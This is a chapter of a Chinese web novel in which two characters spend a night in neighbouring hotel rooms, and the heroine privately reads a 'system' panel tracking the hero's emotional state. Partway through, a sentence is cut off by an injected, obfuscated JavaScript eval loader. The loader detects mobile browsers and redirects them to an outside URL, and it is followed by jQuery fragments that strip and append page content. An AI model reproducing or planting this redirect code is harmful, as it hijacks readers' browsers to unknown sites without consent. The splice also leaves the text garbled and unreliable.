陆忱站在程见微侧后方，能从镜面里看到她平静的侧脸，和她微微垂下的眼睫。她似乎在看着电梯楼层数字的跳动，又似乎只是在放空。她身上那种干净的、混合着一点点类似檀木的气息——可能是发香，也可能是她包里携带的某种个人用品的气味——在电梯狭小的空间里变得清晰可辨。


    五楼很快到了。电梯门打开，走廊铺着深灰色的地毯，脚步声被吸收得几乎无声。暖黄色的壁灯在墙壁上投下柔和的光晕，环境很安静，隔音似乎不错。


    508和509是相邻的两个房间。程见微在509门口停下，刷卡，门锁发出轻微的“嘀”声和机械转动声，绿灯亮起。


    “晚安。”她转身，对陆忱说。琥珀色的眼睛在走廊暖光下呈现出温暖的色泽，平静无波。


    “晚安。”陆忱听见自己说，声音有些干涩。


    程见微点了点头，推开房门，走了进去。门在她身后轻轻关上，发出“咔哒”一声轻响，像一个小小的句号。


    陆忱站在508门口，手里捏着冰凉的房卡，看着那扇紧闭的、深灰色的房门。几秒钟后，他才刷卡打开自己的房间。


    房间不大，但设计简洁现代，以深灰、浅木色和白色为主调，一张宽大的双人床占据中心，床品是干净的纯白色。有独立的卫生间，小小的书桌，一面落地窗，窗外是夜色中的城市灯火。标准的经济型设计酒店房间，干净，实用，毫无特色。


    陆忱将双肩包放在椅子上，环顾四周。他这时才意识到一个问题——他什么洗漱用品和换洗衣物都没带。平时去公寓，那里一切常备物品都是齐全的，甚至每周有专人打扫补充。但这里是酒店，而且是这种不提供高端洗漱用品的平价酒店。


    他拿出手机，几乎没有犹豫，拨通了一个号码。


    电话很快被接起，那边传来一个恭敬的男声：“陆少，您吩咐。”


    “我在H大南门对面的‘陌野’酒店，508房。送一套洗漱用品和换洗衣物过来，内裤袜子也要，尺码你知道。再带两条干净的毛巾。要快。”陆忱的声音恢复了一贯的冷静简洁，带着不容置疑的命令感。


    电话那头的人显然顿了一下，似乎对“陌野”这个酒店名和陆忱此刻所在的位置感到意外，但良好的职业素养让他没有多问一个字：“是，马上安排，四十分钟内送到。”


    挂断电话，陆忱走到窗边，拉开一半窗帘。窗外是城市的夜景，远处高楼星星点点的灯光，近处街道上偶尔驶过的车辆。从这个角度，看不到程见微的房间窗户，他们虽然是隔壁，但房间的窗户应该朝向不同的方向。


    他脱下黑色外套搭在椅背上，松开衬衫最上面的两颗扣子，在床沿坐下。柔软的床垫微微下陷。疲惫感像潮水般涌上来——从海城压抑的会面，到逃离般的返程，到清吧里情绪的起伏，再到此刻……但在这疲惫之下，还有一种奇异的、微妙的兴奋感，像细小的电流在神经末梢窜动。


    程见微就睡在隔壁。


    隔着一道墙，直线距离可能不超过三米。她在做什么？是已经洗漱休息了，还是像他一样，在消化今晚发生的一切？她会想起叶景明那个完美的笑容和扫码的动作吗？会想起他们碰杯时那声清脆的轻响吗？会想起……他说“谢谢”时，那几乎要控制不住颤抖的声音吗？


    这个认知让陆忱的心脏又开始不规律地跳动。他感到一种近乎病态的满足感——不是占有，不是掌控，而是一种“更近了”的隐秘喜悦。他介入了一点她的私人领域，知道了她选择的酒店，入住了她隔壁的房间，尽管这一切都建立在偶然和临时决定的基础上。但对他来说，这已经是一种前所未有的、亲密距离的突破。


    二十多分钟后，门铃响了。


    陆忱打开门，门外站着一个穿着深色西装、提着两个精致纸袋的中年男人，是陆家在本地的一名生活助理，姓周，平时负责处理一些陆忱不便亲自出面的事务。周助理将纸袋递上，目光快速而克制地扫过房间内部，脸上没有任何表情，但陆忱能感觉到他内心的疑惑——他为什么放着自家的五星级酒店不住，自家宽敞的公寓不回，要跑来住这种平价设计酒店？


    “陆少，您要的东西。还有，需要安排早餐或其他服务吗？”周助理的声音一如既往的恭敬。


    “不用。你可以走了。”陆忱接过纸袋，语气平淡。


    “是。”周助理微微躬身，转身离开，脚步声在铺着地毯的走廊里几乎没有声音。


    陆忱关上门，打开纸袋。里面是成套的高端洗漱用品，毛巾是崭新的埃及棉，柔软厚实。换洗衣物是简单的深色T恤和运动长裤，内裤袜子也都是新的，标签都还没拆。一切都很周到。


    他拿着东西走进浴室。浴室很小，但干净，白色的瓷砖，黑色的五金件。他快速冲了个澡，热水冲刷掉皮肤上沾染的清吧里的烟酒气息和一路走来的微尘。然后用酒店提供的廉价吹风机吹干了头发——吹风机风力很小，噪音很大，他耐着性子用了很久才勉强弄干。


    做完这一切，已经接近凌晨一点。


    陆忱换上干净的T恤和长裤，躺到床上。床垫比想象中柔软，被子很轻。他关掉床头灯，房间陷入一片黑暗，只有窗帘缝隙里漏进一点远处街道的微光。


    他闭上眼睛。


    很奇怪，身体明明很累，大脑却异常清醒。过往的夜晚，他常常被各种梦魇缠绕——母亲坠落的背影，父亲冰冷的脸，空旷老宅里的脚步声，还有那些无法摆脱的、关于未来的窒息感。但今晚，那些黑暗的影像似乎退得很远。


    占据他脑海的，是清吧里昏暗温暖的光线，是程见微握着“静默观察者”时骨节分明的手，是她嘴角那抹转瞬即逝的弧度，是她碰杯时那声清脆的“叮”，是她走在夜色中沉静挺拔的背影，是她说“我更倾向于相信自己的眼睛”时平静而坚定的语气。


    还有，那面隔开两个房间的墙。


    他就在墙的那一边。


    这个想法像一颗小小的、温暖的种子，在他冰冷的心底悄然埋下。它带来了一种久违的、近乎奢侈的安全感，和一种模糊的、关于“连接”的希望。


    在这样混杂着疲惫、满足、微醺和莫名安宁的情绪中，陆忱的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130749|193824||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    意识渐渐模糊，沉入了一片无梦的、深沉的黑暗。


    这一夜，他睡得前所未有的沉，没有惊醒，没有冷汗，没有在黑暗中睁眼到天明。


    与此同时，隔壁509房间。


    程见微并没有立刻休息。


    她先仔细检查了房间——门锁是否牢固，窗户是否安全，有无隐蔽摄像头（用手机摄像头简单扫了一遍）。这是她上一世养成的习惯，无论住多高级的酒店，安全检查都是第一步。确认环境安全后，她才打开自己的双肩包。


    包里东西不多，但整齐有序：一个洗漱包，里面是她自己惯用的护肤品小样和牙刷；一套干净的换洗衣物，折叠得方方正正；一个小型急救包；充电器和移动电源；还有那本黑色的笔记本和一支笔。


    她换上自带的舒适家居服——浅灰色的长袖棉质T恤和同色系长裤，质地柔软。然后走进浴室，用自己带的牙刷和牙膏洗漱。酒店的廉价牙刷和牙膏被她原封不动地放在一边。


    做完这一切，她才在书桌前坐下，没有开大灯，只开了台灯。暖黄的光线洒在桌面上，她拿出那本黑色笔记本，翻到最新一页。


    笔尖悬在纸面上方，停顿了很久。


    最终，她没有写下任何系统化的观察记录或分析数据。而是在纸页的右下角，用很小的、几乎看不清的字迹，写下了几个看似毫无关联的词：


    琥珀时光。静默观察者。叶景明（初识）。隔壁。


    然后，她合上笔记本，放回包里。


    走到窗边，她拉开窗帘一角，看着窗外沉睡的城市。夜色浓重，万籁俱寂。她的表情在黑暗中看不真切，只有那双琥珀色的眼睛，在微弱的光线下，反射着一点清冷而复杂的光。


    片刻后，她拉上窗帘，关掉台灯，躺到床上。


    闭上眼睛，意识中，系统界面无声展开：


    【目标：陆忱】


    【当前状态：已进入睡眠，生理指标平稳，情绪指数稳定】


    【黑化值：13.5%（稳定）】


    【情感介入度：9.3%（微升）】


    【备注：深度互动有效，信任建立进展良好。新变量“叶景明”介入，需保持观察。情感介入度持续逼近阈值，需注意风险控制。】


    程见微平静地关掉界面。


    那些数据、分析、警告，此刻都显得遥远而抽象。占据她脑海的，是陆忱听到她说“更倾向于相信自己的眼睛”时，那双纯黑眼眸里瞬间翻涌的、几乎要满溢出来的情绪。是他说“谢谢”时，那沙哑到近乎破碎的声音。是碰杯时，玻璃与玻璃接触那一瞬间，指尖传来的细微震动。


    还有，此刻隔着一道墙的、他的存在。


    她不知道自己的选择——加叶景明微信，默许陆忱跟来酒店——是对是错。她只是遵循着某种直觉，某种在理性分析之外、她正在重新学习和感知的东西。


    夜深了。


    程见微调整呼吸，让自己放松下来。在陷入睡眠的前一刻，她模糊地想：


    明天，又是新的一天。


    而陆忱，就在隔壁。